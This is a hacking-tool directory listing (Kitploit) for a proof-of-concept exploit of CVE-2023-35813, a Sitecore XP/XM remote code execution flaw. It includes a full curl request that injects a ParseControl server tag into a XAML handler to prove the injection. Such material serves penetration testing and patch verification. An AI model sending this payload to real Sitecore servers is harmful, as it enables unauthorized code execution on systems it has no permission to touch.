Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-35813_PoC — Proof-of-concept exploit for CVE-2023-35813, a remote code execution vulnerability in Sitecore XP/XM via crafted XAML requests. Demonstrates ParseControl deserialization attack. | Kitploit
Tools/GitHubGitHub/nmlz/cve-2023-35813_poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubnmlz/cve-2023-35813_poc

CVE-2023-35813_PoC

Proof-of-concept exploit for CVE-2023-35813, a remote code execution vulnerability in Sitecore XP/XM via crafted XAML requests. Demonstrates ParseControl deserialization attack.

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

curl -k -v -X POST "https://[target]/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
-H "Content-Type: application/x-www-form-urlencoded"
--data-urlencode "__ISEVENT=1"
--data-urlencode "__SOURCE="
--data-urlencode "__PARAMETERS=ParseControl("<%@Register TagPrefix='x' Namespace='System.Runtime.Remoting.Services' Assembly='System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' %> <x:RemotingService runat='server' Context-Response-ContentType='test123' />")"

Download Tool